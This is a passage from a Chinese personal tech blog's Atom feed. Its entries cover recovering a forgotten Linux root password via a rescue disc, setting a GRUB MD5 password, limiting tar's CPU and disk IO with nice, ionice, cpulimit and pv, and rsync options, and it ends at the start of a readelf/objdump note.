[    4.637987] R10: 0000000000000032 R11: 000000006ffffdff R12: 00007f0a751d6000
[    4.638253] R13: 0000000000000000 R14: 0000000000000000 R15: 0000000000000000
[    4.638586]  &amp;lt;&amp;#x2F;TASK&amp;gt;
[    4.639085] Kernel Offset: disabled
[    4.639465] Rebooting in 180 seconds..
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;所以在配置XML时需要指定CPU使用母机相同类型，例如给出示例中的&lt;code&gt;或者&lt;&#x2F;code&gt;或者&lt;code&gt;-cpu host&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux忘记root密码又忘记grub密码怎么办</title>
        <published>2024-12-15T00:00:00+00:00</published>
        <updated>2024-12-15T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux忘记root密码又忘记grub密码怎么办/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux忘记root密码又忘记grub密码怎么办/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux忘记root密码又忘记grub密码怎么办/">&lt;h1 id=&quot;linuxwang-ji-rootmi-ma-you-wang-ji-grubmi-ma-zen-me-ban&quot;&gt;linux忘记root密码又忘记grub密码怎么办&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;yong-rescuezhong-zhi-mi-ma&quot;&gt;用rescue重置密码&lt;&#x2F;h2&gt;
&lt;p&gt;当我们忘记root密码时，如果GRUB没有设置密码（或者知道GRUB密码时）我们可以用单用户方法来修改密码，当GRUB密码也忘记了，这时我们就得用光盘修改root密码。&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;将系统光盘放入光驱，设置光驱引导。&lt;&#x2F;li&gt;
&lt;li&gt;选择F2进入系统修复，输入命令：&lt;code&gt;linux rescue&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;以下出现的几个选择和安装系统时一样。&lt;&#x2F;li&gt;
&lt;li&gt;当出现这个提示的时候应该记住，他提示的命令：&lt;code&gt;chroot &#x2F;mnt&#x2F;sysimage&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;下一步就是进入修改密码，我们先行:chroot &#x2F;mnt&#x2F;sysimage 不然不能进入可写模式。&lt;&#x2F;li&gt;
&lt;li&gt;最后运行命令：passwd重置root密码&lt;&#x2F;li&gt;
&lt;li&gt;重启计算机&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h2 id=&quot;she-zhi-grubmi-ma&quot;&gt;设置grub密码&lt;&#x2F;h2&gt;
&lt;p&gt;为grub密分为二种，一是明文，二是采用MD5算法的加密。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;用grub-md5-crypt成生GRUB的md5密码&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;通过grub-md5-crypt对GRUB的密码进行加密码运算，比如我们想设置grub的密码是123456，所以我们先要用md5进行对123456这个密码进行加密。&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;sbin&amp;#x2F;grub-md5-crypt

Password: 在这里输入123456
Retype password: 再输入一次123456
$1$7uDL20$eSB.XRPG2A2Fv8AeH34nZ0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;code&gt;\(1\)7uDL20$eSB.XRPG2A2Fv8AeH34nZ0&lt;&#x2F;code&gt;就是通过grub-md5-crypt进行加密码后产生的值。这个值我们要记下来。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;更改 &#x2F;etc&#x2F;grub.conf&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;所以我要在&#x2F;etc&#x2F;grub.conf中加入&lt;code&gt;password --md5 \(1\)7uDL20$eSB.XRPG2A2Fv8AeH34nZ0&lt;&#x2F;code&gt; 这行，以及lock，应该加到哪呢，请看下面的更改实例：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;default=1
timeout=10
splashimage=(hd0，7)&amp;#x2F;boot&amp;#x2F;grub&amp;#x2F;splash.xpm.gz

password --md5 $1$7uDL20$eSB.XRPG2A2Fv8AeH34nZ0  # 增加密码设置

title Fedora Core (2.4.22-1.2061.nptl)
    lock                                         # 增加锁定设置
    root (hd0，7)
    kernel &amp;#x2F;boot&amp;#x2F;vmlinuz-2.4.22-1.2061.nptl ro root=LABEL=&amp;#x2F;
    initrd &amp;#x2F;boot&amp;#x2F;initrd-2.4.22-1.2061.nptl.img

title WindowsXP
    rootnoverify (hd0，0)
    chainloader +1
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;lock的意思就是把Redhat Fedora锁住了。如果启动时会提示错误。这时就应该按P键，然后输入密码就行了。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;使用password，lock命令实现几种加密方法如下：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;单纯对GRUB界面加密，而不对被引导的系统加密：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在timeout一行下面加一行： &lt;code&gt;password --md5 PASSWORD&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对GRUB界面加密，同时对被引导的系统加密：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在timeout一行下面加一行：&lt;code&gt;password --md5 PASSWORD&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;li&gt;在title一行下面加一行：&lt;code&gt;lock&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;同时存在多个被引导系统，针对特定的系统实例分别加密(不对GRUB操作界面加密)：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;在title一行下面加一行：lock&lt;&#x2F;li&gt;
&lt;li&gt;在lock一行下面紧贴着再加一行：&lt;code&gt;password ——md5 PASSWORD&lt;&#x2F;code&gt;(注：lock不能单独使用)&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>linux tar命令及cpu控制_tar 限制io</title>
        <published>2024-12-14T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/linux-tar命令及cpu控制_tar-限制io/"/>
        <id>https://vercel.juzhong.asia/obsidian/linux-tar命令及cpu控制_tar-限制io/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/linux-tar命令及cpu控制_tar-限制io/">&lt;h1 id=&quot;linux-tarming-ling-ji-cpukong-zhi-tar-xian-zhi-io&quot;&gt;linux tar命令及cpu控制_tar 限制io&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;strong&gt;使用tar命令打包&#x2F;压缩:&lt;&#x2F;strong&gt; tar cf &#x2F;media&#x2F;MYDISK&#x2F;backup.tar mydata&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果限制其对CPU的使用率?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;You can use pv to throttle the bandwidth of a pipe. Since your use case is strongly IO-bound, the added CPU overhead of going through a pipe shouldn&#x27;t be noticeable, and you don&#x27;t need to do any CPU throttling.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;tar cf - mydata | pv -L 1m &amp;gt;&amp;#x2F;media&amp;#x2F;MYDISK&amp;#x2F;backup.tar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;You can try the cpulimit tool which does limit the CPU percentage. It is not a standard tool, so you will have to install it.&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;cpulimit --limit=10 &amp;#x2F;bin&amp;#x2F;gzip vzdump-openvz-102-2012_06_26-19_01_11.tar
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;需要安装cpulimit&lt;&#x2F;p&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;You can&#x27;t really get a process to run less. You can use nice to give it a lower priority, but that&#x27;s in relation to other processes. The way to run the CPU cooler while a process runs is to use usleep(3) to force the process out of the run state a certain amount of time, but that would involve either patching tar or using the LD_PRELOAD mechanism to provide a patched function that tar uses a lot (e.g. fopen(3)).&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;I suspect your best workarounds are the hardware ones you&#x27;ve mentioned on SuperUser: keeping the laptop cool and&#x2F;or lowering the CPU clock.&lt;&#x2F;p&gt;
&lt;p&gt;An annoying but possibly viable workaround (a kludge, really) works at a ‘macroscopic’ level. Rather than making tar run 100ms every 200ms, you could make it run one second out of every two. Note: this is a horrible, horrible kludge. But hey, it might even work!&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;tar cjf some-file.tar.bz2 &amp;#x2F;some-directory &amp;amp;
while true; do
    sleep 1  # Let it run for a second
    kill -STOP $! 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || break
    sleep 1  # Pause it for a second
    kill -CONT $! 2&amp;gt;&amp;#x2F;dev&amp;#x2F;null || break
done
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The first sleep adjusts sleep time, the second one adjusts runtime. As it stands now, it&#x27;s got a 50% duty cycle. To keep the temperature down, you will very likely need to reduce the duty cycle to perhaps 25% or lower (1 second run, 3 seconds sleep = 1 of every 4 seconds = 25% duty cycle). The shell command sleep can take fractional times, by the way. So you could even say sleep 0.1. Keep it over 0.001 just to be sure, and don&#x27;t forget that script execution adds to the time too. 4.  A more general purpose way of limiting the CPU is to use &#x2F;sys. This seems like what you want anyway since things other than tar are capable of performing computationally expensive tasks, its just that youre seeing tar do it the most.&lt;&#x2F;p&gt;
&lt;p&gt;The way to do this is to:&lt;&#x2F;p&gt;
&lt;p&gt;go to &#x2F;sys&#x2F;devices&#x2F;system&#x2F;cpu&#x2F;cpuX&#x2F;cpufreq for each of your CPUs (replace cpuX with each cpu).&lt;&#x2F;p&gt;
&lt;p&gt;Then look in the file scaling_available_frequencies    to see what frequencies your CPU supports.&lt;&#x2F;p&gt;
&lt;p&gt;Pick a frequency (lets say 1234567) and do  echo 1234567 &amp;gt; scaling_max_freq&lt;&#x2F;p&gt;
&lt;p&gt;This will prevent the CPU from ever going above the specified frequency.&lt;&#x2F;p&gt;
&lt;ol start=&quot;5&quot;&gt;
&lt;li&gt;If you wish to run a command which typically uses a lot of CPU (for example, running tar on a large file), then you probably don’t want to bog down your whole system with it. Linux systems provide the nice command to control your process priority at runtime, or renice to change the priority of an already running process. The full manpage has help, but the command if very easy to use:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ nice -n prioritylevel &amp;#x2F;command&amp;#x2F;to&amp;#x2F;run
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;The priority level runs from -20 (top priority) to 19 (lowest). For example, to run tar and gzip at a the lowest priority level:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ nice -n 19 tar -czvf file.tar.gz bigfiletocompress
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;similarly, if you have a process running, use ps to find the process ID, and then use renice to change it’s priority level:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;$ renice -n 19 -p 987 32
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;This would change processes 987 and 32 to priority level 19.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;如果限制其对IO的使用率?&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;Then I would recommend ionice for limiting the IO usage, though it is the concurrent access that would be limited, not the maximum throughput... Never-the-less here is how to use it:&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;pre data-lang=&quot;cobol&quot; class=&quot;language-cobol &quot;&gt;&lt;code class=&quot;language-cobol&quot; data-lang=&quot;cobol&quot;&gt;ionice -c 3 &amp;lt;your_command&amp;gt;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;A sudden outburst of violent disk I&#x2F;O activity can bring down mail or web server
. Usually, a web &#x2F; mysql or mail server serving millions and millions pages per months are prone to this kind of problem. Backup activity can increase current system load from usual 5 to 20 (or more).&lt;&#x2F;p&gt;
&lt;p&gt;To avoid this kind of sudden outburst problem, run your script with scheduling class and priority. Linux
comes with various utilities to manage this kind of madness.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cfq-scheduler&quot;&gt;CFQ scheduler&lt;&#x2F;h3&gt;
&lt;p&gt;You need Linux kernels 2.6.13+ with the CFQ IO scheduler. CFQ (Completely Fair Queuing) is an I&#x2F;O scheduler for the Linux kernel
, which is default in 2.6.18+ kernel. RHEL 4&#x2F; 5 and SuSE Linux has all scheduler built into kernel so no need to rebuild your kernel. To find out your scheduler name, enter:
&lt;code&gt;# for d in &#x2F;sys&#x2F;block&#x2F;sd[a-z]&#x2F;queue&#x2F;scheduler; do echo &quot;$d =&amp;gt; $(cat $d)&quot; ; done&lt;&#x2F;code&gt;
Sample output for each disk:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;&amp;#x2F;sys&amp;#x2F;block&amp;#x2F;sda&amp;#x2F;queue&amp;#x2F;scheduler =&amp;gt; noop anticipatory deadline [cfq]
&amp;#x2F;sys&amp;#x2F;block&amp;#x2F;sdb&amp;#x2F;queue&amp;#x2F;scheduler =&amp;gt; noop anticipatory deadline [cfq]
&amp;#x2F;sys&amp;#x2F;block&amp;#x2F;sdc&amp;#x2F;queue&amp;#x2F;scheduler =&amp;gt; noop anticipatory deadline [cfq]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;CFQ is default and recommended for good performance.&lt;&#x2F;p&gt;
&lt;h3 id=&quot;old-good-nice-program&quot;&gt;Old good nice program&lt;&#x2F;h3&gt;
&lt;p&gt;You can run a program with modified scheduling priority using &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;www.cyberciti.biz&#x2F;faq&#x2F;change-the-nice-value-of-a-process&#x2F;&quot;&gt;nice command&lt;&#x2F;a&gt; (19 = least favorable):
&lt;code&gt;# nice -n19 &#x2F;path&#x2F;to&#x2F;backup.sh&lt;&#x2F;code&gt;
Sample cronjob:
&lt;code&gt;@midnight &#x2F;bin&#x2F;nice -n19 &#x2F;path&#x2F;to&#x2F;backup.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ionice-utility&quot;&gt;ionice utility&lt;&#x2F;h3&gt;
&lt;p&gt;ionice command provide more control as compare to nice command. This program sets the io scheduling class and priority for a program or script. It supports following three scheduling classes (quoting from the man page):&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Idle
: A program running with idle io priority will only get disk time when no other program has asked for disk io
for a defined grace period. The impact of idle io processes on normal system activity should be zero. This scheduling class does not take a priority argument.&lt;&#x2F;li&gt;
&lt;li&gt;Best effort
: This is the default scheduling class for any process that hasn’t asked for a specific io priority. Programs inherit the CPU nice setting for io priorities. This class takes a priority argument from 0-7, with lower number being higher priority. Programs running at the same best effort priority are served in a round-robin fashion. This is usually recommended for most application
.&lt;&#x2F;li&gt;
&lt;li&gt;Real time
: The RT scheduling class is given first access to the disk, regardless of what else is going on in the system. Thus the RT class needs to be used with some care, as it can starve other processes. As with the best effort class, 8 priority levels are defined denoting how big a time slice a given process will receive on each scheduling window. This is should be avoided for all heavily loaded
system.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h4 id=&quot;how-do-i-use-ionice-command&quot;&gt;How do I use ionice command?&lt;&#x2F;h4&gt;
&lt;p&gt;Linux refers the scheduling class using following number system and priorities:&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Scheduling class&lt;&#x2F;th&gt;&lt;th&gt;Number&lt;&#x2F;th&gt;&lt;th&gt;Possible priority&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;real time&lt;&#x2F;td&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;8 priority levels are defined denoting how big a time slice a given process will receive on each scheduling window&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;best-effort&lt;&#x2F;td&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;0-7, with lower number being higher priority&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;idle&lt;&#x2F;td&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;Nil ( does not take a priority argument)&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;To display the class and priority of the running process, enter:
&lt;code&gt;# ionice -p {PID} # ionice -p 1&lt;&#x2F;code&gt;
Sample output:&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;none: prio 0
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Dump full web server disk &#x2F; mysql
backup using best effort scheduling (2) and 7 priority:
&lt;code&gt;# &#x2F;usr&#x2F;bin&#x2F;ionice -c2 -n7 &#x2F;root&#x2F;scripts&#x2F;nas.backup.full&lt;&#x2F;code&gt;
Open another terminal
and watch disk I&#x2F;O network stats using atop or top or your favorite monitoring tool:
&lt;code&gt;# atop&lt;&#x2F;code&gt;
Sample cronjob:
&lt;code&gt;@weekly &#x2F;usr&#x2F;bin&#x2F;ionice -c2 -n7 &#x2F;root&#x2F;scripts&#x2F;nas.backup.full &amp;gt;&#x2F;dev&#x2F;null 2&amp;gt;&amp;amp;1&lt;&#x2F;code&gt;
You can set process with PID 1004 as an idle io process, enter:
&lt;code&gt;# ionice -c3 -p 1004&lt;&#x2F;code&gt;
Runs rsync.sh script as a best-effort program with highest priority, enter:
&lt;code&gt;# ionice -c2 -n0 &#x2F;path&#x2F;to&#x2F;rsync.sh&lt;&#x2F;code&gt;
Finally, you can combine both nice and ionice together:
&lt;code&gt;# nice -n 19 ionice -c2 -n7 &#x2F;path&#x2F;to&#x2F;shell.script&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;h5 id=&quot;other-suggestion-to-improve-disk-i-o&quot;&gt;Other suggestion to improve disk I&#x2F;O&lt;&#x2F;h5&gt;
&lt;ol&gt;
&lt;li&gt;Use hardware RAID controller.&lt;&#x2F;li&gt;
&lt;li&gt;Use fast SCSI &#x2F; SA-SCSI &#x2F; SAS 15k speed disk.&lt;&#x2F;li&gt;
&lt;li&gt;Use fast SSD based storage (costly option).&lt;&#x2F;li&gt;
&lt;li&gt;Use slave &#x2F; passive server to backup MySQL&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;&lt;strong&gt;连接：&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;pre data-index=&quot;9&quot; class=&quot;set-code-show&quot; name=&quot;code&quot;&gt;&lt;strong&gt;&lt;span&gt;命令功能：ionice – 获取或设置程序的IO调度与优先级。&lt;&#x2F;span&gt;&lt;&#x2F;strong&gt;&lt;span&gt;

命令格式：
ionice [[-c class] [-n classdata] [-t]] -p PID [PID]…

ionice [-c class] [-n classdata] [-t] COMMAND [ARG]…

IO调度策略：

ionice将磁盘IO调度分为三类：

ilde：空闲磁盘调度，该调度策略是在当前系统没有其他进程需要进行磁盘IO时，才能进行磁盘；因此该策略对当前系统的影响基本为0；当然，该调度策略不能带有任何优先级参数；目前，普通用户是可以使用该调度策略（自从内核2.6.25开始）。

Best effort：是缺省的磁盘IO调度策略；(1)该调度策略可以指定优先级参数(范围是0~7，数值越小，优先级越高)；(2)针对处于同一优先级的程序将采round-robin方式；(3)对于best effort调度策略，8个优先级等级可以说明在给定的一个调度窗口中时间片的大小。(4)目前，普调用户(非root用户)是可以使用该调度策略。(5)在内核2.6.26之前，没有设置IO优先级的进程会使用“none”作为调度策略，但是这种策略使得进程看起来像是采用了best effort调度策略，因为其优先级是通过关于cpu nice有关的公式计算得到的：io_priority = (cpu_nice + 20) &#x2F;5。(6)在内核2.6.26之后，如果当前系统使用的是CFQ调度器，那么如果进程没有设置IO优先级级别，将采用与内核2.6.26之前版本同样的方式，推到出io优先级级别。

Real time：实时调度策略，如果设置了该磁盘IO调度策略，则立即访问磁盘，不管系统中其他进程是否有IO。因此使用实时调度策略，需要注意的是，该访问策略可能会使得其他进程处于等待状态。

参数说明：

-c class ：class表示调度策略，其中0 for none, 1 for real time, 2 for best-effort, 3 for idle。
-n classdata：classdata表示IO优先级级别，对于best effort和real time，classdata可以设置为0~7。
-p pid：指定要查看或设置的进程号或者线程号，如果没有指定pid参数，ionice will run the listed program with the given parameters。
-t ：忽视设置优先级时产生的错误。&lt;&#x2F;span&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;命令用法：nice [选项] [命令 [参数]...]以指定的优先级运行命令，这会影响相应进程的调度。如果不指定命令，程序会显示当前的优先级。优先级的范围是从 -20(最大优先级) 到 19 (最小优先级)。  -n, --adjustment=N    对优先级数值加上指定整数N (默认为10)      --help            显示此帮助信息并退出      --version         显示版本信息并退出注意：您的shell 内含自己的nice 程序版本，它会覆盖这里所提及的相应版本。请查阅您的shell 文档获知它所支持的选项。
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre data-index=&quot;12&quot; class=&quot;set-code-show&quot; name=&quot;code&quot;&gt;&lt;strong&gt;&lt;span&gt;Rsync命令参数详解&lt;&#x2F;span&gt;&lt;&#x2F;strong&gt;&lt;span&gt;

在对rsync服务器配置结束以后，下一步就需要在客户端发出rsync命令来实现将服务器端的文件备份到客户端来。rsync是一个功能非常强大的工具，其命令也有很多功能特色选项，我们下面就对它的选项一一进行分析说明。Rsync的命令格式可以为以下六种：

　　rsync [OPTION]... SRC DEST
　　rsync [OPTION]... SRC [USER@]HOST:DEST
　　rsync [OPTION]... [USER@]HOST:SRC DEST
　　rsync [OPTION]... [USER@]HOST::SRC DEST
　　rsync [OPTION]... SRC [USER@]HOST::DEST
　　rsync [OPTION]... rsync:&#x2F;&#x2F;[USER@]HOST[:PORT]&#x2F;SRC [DEST]
　　对应于以上六种命令格式，rsync有六种不同的工作模式：
　　1)拷贝本地文件。当SRC和DES路径信息都不包含有单个冒号&quot;:&quot;分隔符时就启动这种工作模式。如：rsync -a &#x2F;data &#x2F;backup
　　2)使用一个远程shell程序(如rsh、ssh)来实现将本地机器的内容拷贝到远程机器。当DST路径地址包含单个冒号&quot;:&quot;分隔符时启动该模式。如：rsync -avz *.c foo:src
　　3)使用一个远程shell程序(如rsh、ssh)来实现将远程机器的内容拷贝到本地机器。当SRC地址路径包含单个冒号&quot;:&quot;分隔符时启动该模式。如：rsync -avz foo:src&#x2F;bar &#x2F;data
　　4)从远程rsync服务器中拷贝文件到本地机。当SRC路径信息包含&quot;::&quot;分隔符时启动该模式。如：rsync -av root@172.16.78.192::www &#x2F;databack
　　5)从本地机器拷贝文件到远程rsync服务器中。当DST路径信息包含&quot;::&quot;分隔符时启动该模式。如：rsync -av &#x2F;databack root@172.16.78.192::www
    6)列远程机的文件列表。这类似于rsync传输，不过只要在命令中省略掉本地机信息即可。如：rsync -v rsync:&#x2F;&#x2F;172.16.78.192&#x2F;www

rsync参数的具体解释如下：

-v, --verbose 详细模式输出
-q, --quiet 精简输出模式
-c, --checksum 打开校验开关，强制对文件传输进行校验
-a, --archive 归档模式，表示以递归方式传输文件，并保持所有文件属性，等于-rlptgoD
-r, --recursive 对子目录以递归模式处理
-R, --relative 使用相对路径信息
-b, --backup 创建备份，也就是对于目的已经存在有同样的文件名时，将老的文件重新命名为~filename。可以使用--suffix选项来指定不同的备份文件前缀。
--backup-dir 将备份文件(如~filename)存放在在目录下。
-suffix=SUFFIX 定义备份文件前缀
-u, --update 仅仅进行更新，也就是跳过所有已经存在于DST，并且文件时间晚于要备份的文件。(不覆盖更新的文件)
-l, --links 保留软链结
-L, --copy-links 想对待常规文件一样处理软链结
--copy-unsafe-links 仅仅拷贝指向SRC路径目录树以外的链结
--safe-links 忽略指向SRC路径目录树以外的链结
-H, --hard-links 保留硬链结     -p, --perms 保持文件权限
-o, --owner 保持文件属主信息     -g, --group 保持文件属组信息
-D, --devices 保持设备文件信息    -t, --times 保持文件时间信息
-S, --sparse 对稀疏文件进行特殊处理以节省DST的空间
-n, --dry-run现实哪些文件将被传输
-W, --whole-file 拷贝文件，不进行增量检测
-x, --one-file-system 不要跨越文件系统边界
-B, --block-size=SIZE 检验算法使用的块尺寸，默认是700字节
-e, --rsh=COMMAND 指定使用rsh、ssh方式进行数据同步
--rsync-path=PATH 指定远程服务器上的rsync命令所在路径信息
-C, --cvs-exclude 使用和CVS一样的方法自动忽略文件，用来排除那些不希望传输的文件
--existing 仅仅更新那些已经存在于DST的文件，而不备份那些新创建的文件
--delete 删除那些DST中SRC没有的文件
--delete-excluded 同样删除接收端那些被该选项指定排除的文件
--delete-after 传输结束以后再删除
--ignore-errors 及时出现IO错误也进行删除
--max-delete=NUM 最多删除NUM个文件
--partial 保留那些因故没有完全传输的文件，以是加快随后的再次传输
--force 强制删除目录，即使不为空
--numeric-ids 不将数字的用户和组ID匹配为用户名和组名
--timeout=TIME IP超时时间，单位为秒
-I, --ignore-times 不跳过那些有同样的时间和长度的文件
--size-only 当决定是否要备份文件时，仅仅察看文件大小而不考虑文件时间
--modify-window=NUM 决定文件是否时间相同时使用的时间戳窗口，默认为0
-T --temp-dir=DIR 在DIR中创建临时文件
--compare-dest=DIR 同样比较DIR中的文件来决定是否需要备份
-P 等同于 --partial
--progress 显示备份过程
-z, --compress 对备份的文件在传输时进行压缩处理
--exclude=PATTERN 指定排除不需要传输的文件模式
--include=PATTERN 指定不排除而需要传输的文件模式
--exclude-from=FILE 排除FILE中指定模式的文件
--include-from=FILE 不排除FILE指定模式匹配的文件
--version 打印版本信息
--address 绑定到特定的地址
--config=FILE 指定其他的配置文件，不使用默认的rsyncd.conf文件
--port=PORT 指定其他的rsync服务端口
--blocking-io 对远程shell使用阻塞IO
-stats 给出某些文件的传输状态
--progress 在传输时现实传输过程
--log-format=formAT 指定日志文件格式
--password-file=FILE 从FILE中得到密码
--bwlimit=KBPS 限制I&#x2F;O带宽，KBytes per second
-h, --help 显示帮助信息&lt;&#x2F;span&gt;&lt;&#x2F;pre&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>GNU Binutils - readelf &amp; objdump</title>
        <published>2024-12-13T00:00:00+00:00</published>
        <updated>2025-02-25T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/obsidian/gnu-binutils-readelf-objdump/"/>
        <id>https://vercel.juzhong.asia/obsidian/gnu-binutils-readelf-objdump/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/obsidian/gnu-binutils-readelf-objdump/">&lt;h1 id=&quot;gnu-binutils-readelf-objdump&quot;&gt;GNU Binutils - readelf &amp;amp; objdump&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;code&gt;objdump&lt;&#x2F;code&gt; is the mother of all binary tools.
&lt;code&gt;readelf&lt;&#x2F;code&gt; subsumes the functionality of &lt;code&gt;size&lt;&#x2F;code&gt; and &lt;code&gt;nm&lt;&#x2F;code&gt;.
&lt;code&gt;objcopy&lt;&#x2F;code&gt; contains most of the functionality of &lt;code&gt;strip&lt;&#x2F;code&gt;.&lt;&#x2F;p&gt;
